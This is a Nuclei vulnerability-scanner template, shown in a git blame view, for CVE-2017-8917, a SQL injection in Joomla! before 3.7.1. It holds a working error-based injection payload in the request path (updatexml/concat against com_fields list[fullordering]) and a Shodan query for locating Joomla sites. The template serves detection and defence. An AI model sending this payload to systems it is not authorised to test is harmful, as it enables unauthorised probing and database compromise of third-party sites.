nuclei-templates/http/cves/2017/CVE-2017-8917.yaml

45 lines
1.6 KiB
YAML
Raw Normal View History

2021-04-07 16:39:33 +00:00
id: CVE-2017-8917
2021-04-07 16:39:33 +00:00
info:
name: Joomla! <3.7.1 - SQL Injection
2021-04-07 16:39:33 +00:00
author: princechaddha
severity: critical
description: |
Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
2023-09-06 13:22:34 +00:00
remediation: |
Upgrade Joomla! to version 3.7.1 or later to mitigate the SQL Injection vulnerability.
reference:
- https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
2022-09-21 10:52:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-8917
- https://web.archive.org/web/20211207050608/http://www.securitytracker.com/id/1038522
2023-07-11 19:49:27 +00:00
- http://www.securitytracker.com/id/1038522
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-8917
cwe-id: CWE-89
2023-07-11 19:49:27 +00:00
epss-score: 0.97555
epss-percentile: 0.99995
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:a:joomla:joomla\!:3.7.0:*:*:*:*:*:*:*
2022-09-21 10:52:47 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 13:22:34 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: joomla
product: joomla\!
2023-09-06 13:22:34 +00:00
shodan-query: http.component:"Joomla"
tags: cve,cve2017,joomla,sqli
2022-06-30 03:33:07 +00:00
variables:
num: "999999999"
http:
2021-04-07 16:39:33 +00:00
- method: GET
path:
2022-06-30 03:33:07 +00:00
- "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({{num}})),1)"
2021-04-07 16:39:33 +00:00
matchers:
- type: word
part: body
2021-04-07 16:39:33 +00:00
words:
2022-09-21 10:52:47 +00:00
- '{{md5(num)}}'
2023-12-05 09:50:33 +00:00
# digest: 4a0a00473045022100adaa3221218bcfbbdfd74f148b4a127a8876f6467b6f43b0ac717cd45f00ffc6022015d114abf831c83a639225e19167c9472c0c041a7e948be8f9890603f9c27af6:922c64590222798bb761d5b6d8e72950